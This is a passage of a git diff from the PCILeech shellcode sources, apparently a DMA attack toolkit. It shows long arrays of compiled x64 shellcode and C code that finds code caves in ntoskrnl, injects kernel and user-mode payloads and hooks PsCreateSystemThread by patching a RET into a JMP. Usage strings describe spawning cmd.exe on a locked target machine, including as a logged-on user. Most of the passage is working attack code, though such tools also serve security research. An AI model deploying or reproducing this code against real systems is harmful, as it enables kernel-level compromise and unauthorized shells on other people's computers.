0x24, 0x40, 0x44, 0x8b, 0xcb, + 0x48, 0x8b, 0x06, 0x48, 0x8b, 0x88, 0x08, 0x01, 0x00, 0x00, 0x48, 0x89, + 0x4e, 0x70, 0x48, 0x8b, 0x80, 0x08, 0x01, 0x00, 0x00, 0x48, 0x05, 0x00, + 0x10, 0x00, 0x00, 0x48, 0x89, 0x46, 0x78, 0x48, 0x89, 0x11, 0x48, 0x8d, + 0x4e, 0x68, 0x48, 0x8b, 0x46, 0x78, 0x48, 0x89, 0x10, 0x48, 0x8d, 0x56, + 0x50, 0xff, 0x56, 0x10, 0x48, 0x8d, 0x56, 0x60, 0x44, 0x8b, 0xcb, 0x48, + 0x8d, 0x4e, 0x58, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0xff, 0x56, 0x10, 0x89, + 0xbe, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xce, 0xe8, 0x3f, 0xfc, 0xff, + 0xff, 0x85, 0xc0, 0x75, 0x0a, 0x48, 0x8b, 0xce, 0xe8, 0xd7, 0xfb, 0xff, + 0xff, 0xeb, 0x45, 0x48, 0x8b, 0x06, 0x48, 0x83, 0xb8, 0x08, 0x01, 0x00, + 0x00, 0x00, 0x74, 0x38, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8d, + 0x05, 0x6b, 0xfe, 0xff, 0xff, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, + 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, 0x48, 0x83, 0x64, 0x24, + 0x28, 0x00, 0x4c, 0x8d, 0x05, 0x77, 0xfd, 0xff, 0xff, 0x83, 0x64, 0x24, + 0x20, 0x00, 0x4c, 0x8b, 0xce, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56, 0x20, + 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x68, 0x48, 0x83, + 0xc4, 0x50, 0x5f, 0xc3 + }; + *ppb = WINX64_PSCMD_USER_BIN; + *pcb = sizeof(WINX64_PSCMD_USER_BIN); +} + +// ---------------------------------------------------------------------------- +// CORE LOGIC/MASTER FUNCTIONALITY BELOW: +// ---------------------------------------------------------------------------- + +#define H_PsCreateSystemThread 0x94a06b02 +VOID c_EntryPoint(PKMDDATA pk) +{ + PBYTE pbData; + DWORD cbData; + QWORD hModuleNTOSKRNL, hPsCreateSystemThread, hHookFn, hHook; + QWORD hKMD, hVFS, hPSCMD_KERNEL, hPSCMD_USER; + DWORD dwOffsetRET = 0, dwOffsetJMP; + // locate ntoskrnl.exe + hModuleNTOSKRNL = FindNtoskrnl(); + if(!hModuleNTOSKRNL) { + pk->dataOut[0] = 0xf0000001; + return; + } + pk->dataOut[1] = hModuleNTOSKRNL; + // locate hook function - PsCreateSystemThreadEx + hPsCreateSystemThread = PEGetProcAddressH(hModuleNTOSKRNL, H_PsCreateSystemThread); + if(!hPsCreateSystemThread) { + pk->dataOut[0] = 0xf0000002; + return; + } + hHookFn = hPsCreateSystemThread; + pk->dataOut[2] = hHookFn; + // hook : locate, but do not patch yet. + while(TRUE) { + if((*(PBYTE)(hHookFn + dwOffsetRET) == 0xC3 /* RET */) && (*(PDWORD)(hHookFn + dwOffsetRET + 1) == 0xCCCCCCCC /* PAD */)) { + break; + } + if(dwOffsetRET == 0x100) { + pk->dataOut[0] = 0xf0000003; + return; + } + dwOffsetRET++; + } + hHook = hHookFn + dwOffsetRET; + // code cave : locate and patch in VFS (virtual file system) module. + GetData_VFS(&pbData, &cbData); + hVFS = FindCodeCave(hModuleNTOSKRNL, cbData); + if(!hVFS) { + pk->dataOut[0] = 0xf0000004; + return; + } + pk->dataOut[3] = hVFS; + CopyMem((PVOID)hVFS, (PVOID)pbData, cbData); + // code cave : locate and patch in KMD (windows pcileech kernel module). + GetData_KMD(&pbData, &cbData); + hKMD = FindCodeCave(hModuleNTOSKRNL, cbData); + if(!hKMD) { + pk->dataOut[0] = 0xf0000005; + return; + } + pk->dataOut[4] = hKMD; + CopyMem((PVOID)hKMD, (PVOID)pbData, cbData); + // code cave : locate and patch in pscmd kernelmode code. + GetData_PSCMD_KERNEL(&pbData, &cbData); + hPSCMD_KERNEL = FindCodeCave(hModuleNTOSKRNL, cbData); + if(!hPSCMD_KERNEL) { + pk->dataOut[0] = 0xf0000006; + return; + } + pk->dataOut[5] = hPSCMD_KERNEL; + CopyMem((PVOID)hPSCMD_KERNEL, (PVOID)pbData, cbData); + // code cave : locate and patch in pscmd usermode code. + GetData_PSCMD_USER(&pbData, &cbData); + hPSCMD_USER = FindCodeCave(hModuleNTOSKRNL, cbData); + if(!hPSCMD_USER) { + pk->dataOut[0] = 0xf0000006; + return; + } + pk->dataOut[6] = hPSCMD_USER; + CopyMem((PVOID)hPSCMD_USER, (PVOID)pbData, cbData); + // patch in offsets in KMD code + *(PWORD)(hKMD + 0x02) = pk->dataIn[0] ? (WORD)pk->dataIn[0] : 0x0045; + *(PDWORD)(hKMD + 0x04) = (DWORD)hModuleNTOSKRNL; + *(PDWORD)(hKMD + 0x08) = (DWORD)hKMD; + *(PDWORD)(hKMD + 0x0C) = (DWORD)hVFS; + *(PDWORD)(hKMD + 0x10) = (DWORD)hPSCMD_KERNEL; + *(PDWORD)(hKMD + 0x14) = (DWORD)hPSCMD_USER; + // hook function by patching RET instruction + dwOffsetJMP = (DWORD)hKMD - ((DWORD)hHook + 5); + *(PBYTE)(hHook) = 0xE9; // JMP + *(PDWORD)(hHook + 1) = dwOffsetJMP; // JMP ADDR +} diff --git a/pcileech_shellcode/wx64_common.c b/pcileech_shellcode/wx64_common.c index 39eacc2..5ab0e57 100644 --- a/pcileech_shellcode/wx64_common.c +++ b/pcileech_shellcode/wx64_common.c @@ -1,7 +1,7 @@ // wx64_common.c : support functions used by Windows x64 KMDs started by stage3 EXEC. // Compatible with Windows x64. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // @@ -70,36 +70,35 @@ QWORD KernelGetModuleBase(_In_ PKERNEL_FUNCTIONS fnk, _In_ LPSTR szModuleName) VOID InitializeKernelFunctions(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS fnk) { - QWORD FUNC2[][2] = { - { &fnk->_stricmp, H__stricmp }, - { &fnk->ExAllocatePool, H_ExAllocatePool }, - { &fnk->ExFreePool, H_ExFreePool }, - { &fnk->IoCreateDriver, H_IoCreateDriver }, - { &fnk->KeDelayExecutionThread, H_KeDelayExecutionThread }, - { &fnk->KeGetCurrentIrql, H_KeGetCurrentIrql }, - { &fnk->MmGetPhysicalAddress, H_MmGetPhysicalAddress }, - { &fnk->MmLoadSystemImage, H_MmLoadSystemImage }, - { &fnk->MmMapIoSpace, H_MmMapIoSpace }, - { &fnk->MmUnloadSystemImage, H_MmUnloadSystemImage }, - { &fnk->MmUnmapIoSpace, H_MmUnmapIoSpace }, - { &fnk->RtlAnsiStringToUnicodeString, H_RtlAnsiStringToUnicodeString }, - { &fnk->RtlCopyMemory, H_RtlCopyMemory }, - { &fnk->RtlFreeUnicodeString, H_RtlFreeUnicodeString }, - { &fnk->RtlInitAnsiString, H_RtlInitAnsiString }, - { &fnk->RtlInitUnicodeString, H_RtlInitUnicodeString }, - { &fnk->RtlInitUnicodeString, H_RtlInitUnicodeString }, - { &fnk->RtlZeroMemory, H_RtlZeroMemory }, - { &fnk->ZwClose, H_ZwClose }, - { &fnk->ZwCreateFile, H_ZwCreateFile }, - { &fnk->ZwOpenFile, H_ZwOpenFile }, - { &fnk->ZwReadFile, H_ZwReadFile }, - { &fnk->ZwQueryDirectoryFile, H_ZwQueryDirectoryFile }, - { &fnk->ZwQuerySystemInformation, H_ZwQuerySystemInformation }, - { &fnk->ZwSetSystemInformation, H_ZwSetSystemInformation }, - { &fnk->ZwWriteFile, H_ZwWriteFile } - }; - for(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) { - *(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]); + DWORD i = 0, NAMES[25]; + NAMES[i++] = H__stricmp; + NAMES[i++] = H_ExAllocatePool; + NAMES[i++] = H_ExFreePool; + NAMES[i++] = H_IoCreateDriver; + NAMES[i++] = H_KeDelayExecutionThread; + NAMES[i++] = H_KeGetCurrentIrql; + NAMES[i++] = H_MmGetPhysicalAddress; + NAMES[i++] = H_MmLoadSystemImage; + NAMES[i++] = H_MmMapIoSpace; + NAMES[i++] = H_MmUnloadSystemImage; + NAMES[i++] = H_MmUnmapIoSpace; + NAMES[i++] = H_RtlAnsiStringToUnicodeString; + NAMES[i++] = H_RtlCopyMemory; + NAMES[i++] = H_RtlFreeUnicodeString; + NAMES[i++] = H_RtlInitAnsiString; + NAMES[i++] = H_RtlInitUnicodeString; + NAMES[i++] = H_RtlZeroMemory; + NAMES[i++] = H_ZwClose; + NAMES[i++] = H_ZwCreateFile; + NAMES[i++] = H_ZwOpenFile; + NAMES[i++] = H_ZwQueryDirectoryFile; + NAMES[i++] = H_ZwQuerySystemInformation; + NAMES[i++] = H_ZwSetSystemInformation; + NAMES[i++] = H_ZwReadFile; + NAMES[i++] = H_ZwWriteFile; + while(i) { + i--; + *((PQWORD)fnk + i) = (QWORD)PEGetProcAddressH(qwNtosBase, NAMES[i]); } } diff --git a/pcileech_shellcode/wx64_common.h b/pcileech_shellcode/wx64_common.h index 462c713..5ba34b8 100644 --- a/pcileech_shellcode/wx64_common.h +++ b/pcileech_shellcode/wx64_common.h @@ -29,30 +29,30 @@ typedef struct _ETHREAD *PETHREAD; * KMD DATA struct. This struct must be contained in a 4096 byte section (page). * This page/struct is used to communicate between the inserted kernel code and * the pcileech program. -* VNR: 002 +* VNR: 003 */ typedef struct tdKMDDATA { QWORD MAGIC; // [0x000] magic number 0x0ff11337711333377. - QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of KERNEL HEADER (WINDOWS/OSX). + QWORD AddrKernelBase; // [0x008] pre-filled by stage2, virtual address of kernel header (WINDOWS/MACOS). QWORD AddrKallsymsLookupName; // [0x010] pre-filled by stage2, virtual address of kallsyms_lookup_name (LINUX). QWORD DMASizeBuffer; // [0x018] size of DMA buffer. QWORD DMAAddrPhysical; // [0x020] physical address of DMA buffer. QWORD DMAAddrVirtual; // [0x028] virtual address of DMA buffer. QWORD _status; // [0x030] status of operation QWORD _result; // [0x038] result of operation TRUE|FALSE - QWORD _address; // [0x040] virtual address to operate on. + QWORD _address; // [0x040] address to operate on. QWORD _size; // [0x048] size of operation / data in DMA buffer. QWORD OperatingSystem; // [0x050] operating system type - QWORD ReservedKMD; // [0x058] reserved for specific kmd data (dependant on KMD version). - QWORD ReservedFutureUse1[20]; // [0x060] reserved for future use. + QWORD ReservedKMD[8]; // [0x058] reserved for specific kmd data (dependant on KMD version). + QWORD ReservedFutureUse1[13]; // [0x098] reserved for future use. QWORD dataInExtraLength; // [0x100] length of extra in-data. QWORD dataInExtraOffset; // [0x108] offset from DMAAddrPhysical/DMAAddrVirtual. QWORD dataInExtraLengthMax; // [0x110] maximum length of extra in-data. QWORD dataInConsoleBuffer; // [0x118] physical address of 1-page console buffer. QWORD dataIn[28]; // [0x120] - QWORD dataOutExtraLength; // [0x200] length of extra in-data. + QWORD dataOutExtraLength; // [0x200] length of extra out-data. QWORD dataOutExtraOffset; // [0x208] offset from DMAAddrPhysical/DMAAddrVirtual. - QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra in-data. + QWORD dataOutExtraLengthMax; // [0x210] maximum length of extra out-data. QWORD dataOutConsoleBuffer; // [0x218] physical address of 1-page console buffer. QWORD dataOut[28]; // [0x220] PVOID fn[32]; // [0x300] used by shellcode to store function pointers. @@ -281,6 +281,11 @@ typedef struct tdKERNEL_FUNCTIONS { _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength); + NTSTATUS(*ZwSetSystemInformation)( + _In_ QWORD SystemInformationClass, + _In_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); NTSTATUS(*ZwReadFile)( _In_ HANDLE FileHandle, _In_opt_ HANDLE Event, @@ -292,11 +297,6 @@ typedef struct tdKERNEL_FUNCTIONS { _In_opt_ PQWORD ByteOffset, _In_opt_ PULONG Key ); - NTSTATUS(*ZwSetSystemInformation)( - _In_ QWORD SystemInformationClass, - _In_ PVOID SystemInformation, - _In_ ULONG SystemInformationLength - ); NTSTATUS(*ZwWriteFile)( _In_ HANDLE FileHandle, _In_opt_ HANDLE Event, diff --git a/pcileech_shellcode/wx64_exec_user_c.c b/pcileech_shellcode/wx64_exec_user_c.c index 3f61997..d5a45dd 100644 --- a/pcileech_shellcode/wx64_exec_user_c.c +++ b/pcileech_shellcode/wx64_exec_user_c.c @@ -1,6 +1,6 @@ // wx64_exec_user_c.c : usermode code to be injected into user process to spawn new processes. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // // compile with: @@ -52,9 +52,7 @@ typedef struct tdUserShellConfig { #define H_CreateProcessA 0x16b3fe72 #define H_CreateThread 0xca2bd06b #define H_GetExitCodeProcess 0xac30ab74 -#define H_GetLastError 0x75da1966 #define H_LocalAlloc 0x4c0297fa -#define H_LocalFree 0x5cbaeaf6 #define H_ReadFile 0x10fa6516 #define H_Sleep 0xdb2d49b0 #define H_WriteFile 0xe80a791f @@ -93,14 +91,10 @@ typedef struct tdUserShellFunctions { _In_ HANDLE hProcess, _Out_ LPDWORD lpExitCode ); - DWORD(*GetLastError)(void); HLOCAL(*LocalAlloc)( _In_ UINT uFlags, _In_ SIZE_T uBytes ); - HLOCAL(*LocalFree)( - _In_ HLOCAL hMem - ); BOOL(*ReadFile)( _In_ HANDLE hFile, _Out_ LPVOID lpBuffer, @@ -171,17 +165,20 @@ PVOID PEGetProcAddressH(_In_ HMODULE hModuleIn, _In_ DWORD dwProcNameH) VOID UserShellInitializeFunctions(_In_ HMODULE hModuleKernel32, _Out_ PUSERSHELL_FUNCTIONS fnu) { - fnu->CloseHandle = PEGetProcAddressH(hModuleKernel32, H_CloseHandle); - fnu->CreatePipe = PEGetProcAddressH(hModuleKernel32, H_CreatePipe); - fnu->CreateProcessA = PEGetProcAddressH(hModuleKernel32, H_CreateProcessA); - fnu->CreateThread = PEGetProcAddressH(hModuleKernel32, H_CreateThread); - fnu->GetExitCodeProcess = PEGetProcAddressH(hModuleKernel32, H_GetExitCodeProcess); - fnu->GetLastError = PEGetProcAddressH(hModuleKernel32, H_GetLastError); - fnu->LocalAlloc = PEGetProcAddressH(hModuleKernel32, H_LocalAlloc); - fnu->LocalFree = PEGetProcAddressH(hModuleKernel32, H_LocalFree); - fnu->ReadFile = PEGetProcAddressH(hModuleKernel32, H_ReadFile); - fnu->Sleep = PEGetProcAddressH(hModuleKernel32, H_Sleep); - fnu->WriteFile = PEGetProcAddressH(hModuleKernel32, H_WriteFile); + DWORD i = 0, NAMES[9]; + NAMES[i++] = H_CloseHandle; + NAMES[i++] = H_CreatePipe; + NAMES[i++] = H_CreateProcessA; + NAMES[i++] = H_CreateThread; + NAMES[i++] = H_GetExitCodeProcess; + NAMES[i++] = H_LocalAlloc; + NAMES[i++] = H_ReadFile; + NAMES[i++] = H_Sleep; + NAMES[i++] = H_WriteFile; + while(i) { + i--; + *((PQWORD)fnu + i) = (QWORD)PEGetProcAddressH(hModuleKernel32, NAMES[i]); + } } BOOL UserShellIsProcessRunning(PUSERSHELL_DATA pd) @@ -221,14 +218,12 @@ BOOL UserShellExec(_Inout_ PUSERSHELL_DATA pd) } // launch executable if(!pd->fnu.CreateProcessA(NULL, pd->pCfg->szProcToStart, NULL, NULL, TRUE, pd->pCfg->fCreateProcess, NULL, NULL, psi, &pi)) { - pd->fnu.LocalFree(psi); return FALSE; } pd->hProcessHandle = pi.hProcess; if(pd->pCfg->qwAddrConsoleBuffer) { pd->fnu.CloseHandle(pi.hThread); } - pd->fnu.LocalFree(psi); return TRUE; } @@ -309,7 +304,6 @@ VOID c_EntryPoint(PBYTE pb, ULONG_PTR lpBaseKernel32) // create process if(!UserShellExec(pd)) { UserShellCleanup(pd); - pd->fnu.LocalFree(pd); return; } // Initalize console redirection #2/2 @@ -317,4 +311,4 @@ VOID c_EntryPoint(PBYTE pb, ULONG_PTR lpBaseKernel32) pd->fnu.CreateThread(NULL, 0, &UserShellThreadWriter, pd, 0, NULL); pd->fnu.CreateThread(NULL, 0, &UserShellThreadReader, pd, 0, NULL); } -} \ No newline at end of file +} diff --git a/pcileech_shellcode/wx64_pscreate.c b/pcileech_shellcode/wx64_pscreate.c index b567e1e..f7e2a2d 100644 --- a/pcileech_shellcode/wx64_pscreate.c +++ b/pcileech_shellcode/wx64_pscreate.c @@ -6,19 +6,19 @@ // // compile with (wx64_pscreate): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_pscreate.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_WIN7_COMPAT wx64_pscreate.c // ml64 wx64_common_a.asm /Fewx64_pscreate.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj // shellcode64.exe -o wx64_pscreate.exe "PROCESS CREATOR - SPAWN NEW PROCESSES ON TARGET! \n===============================================================\nREQUIRED OPTIONS: \n -s : Executable path including command line options. \n Example: '-s c:\windows\system32\cmd.exe'. \n -0 : Parent process PID to start new process from. \n Example '-0 0x0fe0'. \nOPTIONAL OPTIONS: \n -1 : CreateProcess creation flags (dwCreationFlags) as \n specified on MSDN. Hidden Window = 0x08000000 \n -2 : Redirect input - use to spawn interactive shell. \n Example: 0x01 \n -3 : Timeout in seconds. Default: 60. \n -4 : Boost (Windows 7 only): higher success ratio, but \n parent process may crash. Example 1. Default 0. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT =====%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n===============================================================\n" // // ALTERNATIVELY (wx64_pscmd): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM wx64_pscreate.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_SYSTEM /D_WIN7_COMPAT wx64_pscreate.c // ml64 wx64_common_a.asm /Fewx64_pscmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj // shellcode64.exe -o wx64_pscmd.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nonly work if the target system is locked and the login screen is\nvisible. If it takes time waiting - then please touch any key on\nthe target system. If the utility fails multiple times, please\ntry wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n" // // ALTERNATIVELY (wx64_pscmd_user): // cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel wx64_common.c -// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_USER wx64_pscreate.c +// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel /D_PSCMD /D_PSCMD_USER /D_WIN7_COMPAT wx64_pscreate.c // ml64 wx64_common_a.asm /Fewx64_pscmd_user.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main wx64_pscreate.obj wx64_common.obj // shellcode64.exe -o wx64_pscmd_user.exe "PROCESS CREATOR - AUTOMATICALLY SPAWN CMD.EXE AS USER ON TARGET! \n================================================================\nAutomatically spawn a CMD.EXE on the target system. This utility\nwill spawn a cmd.exe in the context of a random logged on user.\nThis will work even though the computer may be locked. If this\nutility fails multiple times, please try wx64_pscreate instead. \n===== DETAILED INFORMATION AFTER PROCESS CREATION ATTEMPT ======%s\nNTSTATUS : 0x%08X \nADDITIONAL INFO : 0x%04X \n================================================================\n" #include "wx64_common.h" @@ -213,9 +213,6 @@ typedef struct tdKERNEL_FUNCTIONS2 { _In_ ULONG AllocationType, _In_ ULONG Protect ); - NTSTATUS(*ZwClose)( - _In_ HANDLE Handle - ); NTSTATUS(*ZwOpenProcess)( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, @@ -227,43 +224,45 @@ typedef struct tdKERNEL_FUNCTIONS2 { VOID InitializeKernelFunctions2(_In_ QWORD qwNtosBase, _Out_ PKERNEL_FUNCTIONS2 fnk2) { - QWORD FUNC2[][2] = { - { &fnk2->IoAllocateMdl, H_IoAllocateMdl }, - { &fnk2->KeInitializeApc, H_KeInitializeApc }, - { &fnk2->KeInsertQueueApc, H_KeInsertQueueApc }, - { &fnk2->KeStackAttachProcess, H_KeStackAttachProcess }, - { &fnk2->KeUnstackDetachProcess, H_KeUnstackDetachProcess }, - { &fnk2->MmAllocateContiguousMemory, H_MmAllocateContiguousMemory }, - { &fnk2->MmFreeContiguousMemory, H_MmFreeContiguousMemory }, - { &fnk2->MmMapLockedPagesSpecifyCache, H_MmMapLockedPagesSpecifyCache }, - { &fnk2->MmProbeAndLockPages, H_MmProbeAndLockPages }, - { &fnk2->ObDereferenceObject, H_ObDereferenceObject }, - { &fnk2->PsGetProcessImageFileName, H_PsGetProcessImageFileName }, - { &fnk2->PsLookupProcessByProcessId, H_PsLookupProcessByProcessId }, - { &fnk2->PsLookupThreadByThreadId, H_PsLookupThreadByThreadId }, - { &fnk2->RtlCreateUserThread, H_RtlCreateUserThread }, - { &fnk2->strnlen, H_strnlen }, - { &fnk2->ZwAllocateVirtualMemory, H_ZwAllocateVirtualMemory }, - { &fnk2->ZwClose, H_ZwClose }, - { &fnk2->ZwOpenProcess, H_ZwOpenProcess } - }; - for(QWORD j = 0; j < (sizeof(FUNC2) / sizeof(QWORD[2])); j++) { - *(PQWORD)FUNC2[j][0] = PEGetProcAddressH(qwNtosBase, (DWORD)FUNC2[j][1]); + DWORD i = 0, NAMES[18]; + NAMES[i++] = H_IoAllocateMdl; + NAMES[i++] = H_KeInitializeApc; + NAMES[i++] = H_KeInsertQueueApc; + NAMES[i++] = H_KeStackAttachProcess; + NAMES[i++] = H_KeUnstackDetachProcess; + NAMES[i++] = H_MmAllocateContiguousMemory; + NAMES[i++] = H_MmFreeContiguousMemory; + NAMES[i++] = H_MmMapLockedPagesSpecifyCache; + NAMES[i++] = H_MmProbeAndLockPages; + NAMES[i++] = H_ObDereferenceObject; + NAMES[i++] = H_PsGetProcessImageFileName; + NAMES[i++] = H_PsLookupProcessByProcessId; + NAMES[i++] = H_PsLookupThreadByThreadId; + NAMES[i++] = H_RtlCreateUserThread; + NAMES[i++] = H_strnlen; + NAMES[i++] = H_ZwAllocateVirtualMemory; + NAMES[i++] = H_ZwOpenProcess; + while(i) { + i--; + *((PQWORD)fnk2 + i) = (QWORD)PEGetProcAddressH(qwNtosBase, NAMES[i]); } } //---------------------------------------------------------------------------------------------------------- - -NTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In_ PKERNEL_FUNCTIONS2 fnk2, PBYTE pb, QWORD qwAddrConsoleBuffer) +// USER MODE SHELLCODE ASSIGNMENT BELOW: +//---------------------------------------------------------------------------------------------------------- +#ifndef _EXEC_USER_EXTERNAL +VOID GetUserExecShellcode(_In_ PKMDDATA pk, _Out_ PBYTE *ppb, _Out_ PDWORD pcb) { - unsigned char wx64_exec_user_bin[] = { + UNREFERENCED_PARAMETER(pk); + BYTE wx64_exec_user_bin[] = { 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x49, 0x00, 0x00, 0x00, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x42, 0x48, 0x8d, 0x0d, 0xe8, 0xff, 0xff, 0xff, 0x48, 0x81, 0xe1, 0x00, 0xf0, 0xff, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x12, 0x48, 0x8b, 0x52, 0x20, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, - 0xec, 0x20, 0xe8, 0x69, 0x04, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, + 0xec, 0x20, 0xe8, 0xe1, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x00, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x48, 0x63, 0x41, 0x3c, 0x4c, 0x8b, 0xc9, 0x8b, 0xf2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, @@ -277,117 +276,130 @@ NTSTATUS IntializeUserModeCode(_In_ PKMDDATA pk, _In_ PKERNEL_FUNCTIONS fnk, _In 0x24, 0x08, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18, 0xc3, 0x41, 0x0f, 0xb7, 0x0c, 0x4b, 0x8b, 0x04, 0x8b, 0x49, 0x03, 0xc1, 0xeb, 0xe3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0x81, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0x48, 0x89, - 0x08, 0x39, 0x8b, 0x98, 0x00, 0x00, 0x00, 0x74, 0x22, 0x89, 0x8b, 0x98, - 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x68, 0xff, 0x53, 0x08, 0x48, 0x8b, - 0x4b, 0x60, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x4b, 0x70, 0xff, 0x53, 0x08, - 0x48, 0x8b, 0x4b, 0x78, 0xff, 0x53, 0x08, 0x48, 0x8b, 0x83, 0x80, 0x00, - 0x00, 0x00, 0x48, 0xb9, 0xac, 0xda, 0x37, 0x13, 0x00, 0x22, 0xda, 0xfe, - 0x48, 0x89, 0x08, 0x48, 0x8b, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x70, 0xbe, - 0x68, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x8b, 0xd6, 0x8d, 0x4e, 0xd8, - 0xff, 0x53, 0x38, 0x48, 0x8b, 0xf8, 0x89, 0x30, 0x33, 0xf6, 0xc7, 0x40, - 0x3c, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x13, 0x48, 0x39, 0xb2, 0x08, - 0x01, 0x00, 0x00, 0x74, 0x18, 0x48, 0x8b, 0x4b, 0x70, 0x48, 0x89, 0x48, - 0x58, 0x48, 0x8b, 0x4b, 0x78, 0x48, 0x89, 0x48, 0x50, 0x48, 0x8b, 0x4b, - 0x70, 0x48, 0x89, 0x48, 0x60, 0x48, 0x8b, 0x13, 0x48, 0x8d, 0x44, 0x24, - 0x50, 0x48, 0x89, 0x44, 0x24, 0x48, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x7c, - 0x24, 0x40, 0x45, 0x33, 0xc0, 0x48, 0x89, 0x74, 0x24, 0x38, 0x33, 0xc9, - 0x8b, 0x82, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0x74, 0x24, 0x30, 0x89, - 0x44, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xff, - 0x53, 0x18, 0x85, 0xc0, 0x74, 0x25, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, - 0x89, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x39, 0xb0, - 0x08, 0x01, 0x00, 0x00, 0x74, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0xff, - 0x53, 0x08, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0xff, 0x53, - 0x40, 0x4c, 0x8d, 0x5c, 0x24, 0x70, 0x8b, 0xc6, 0x49, 0x8b, 0x5b, 0x10, - 0x49, 0x8b, 0x73, 0x18, 0x49, 0x8b, 0xe3, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, - 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xfa, 0x48, 0x8b, 0xd9, 0xba, 0xfb, 0x97, 0xfd, 0x0f, 0xe8, 0x22, 0xfe, - 0xff, 0xff, 0xba, 0x80, 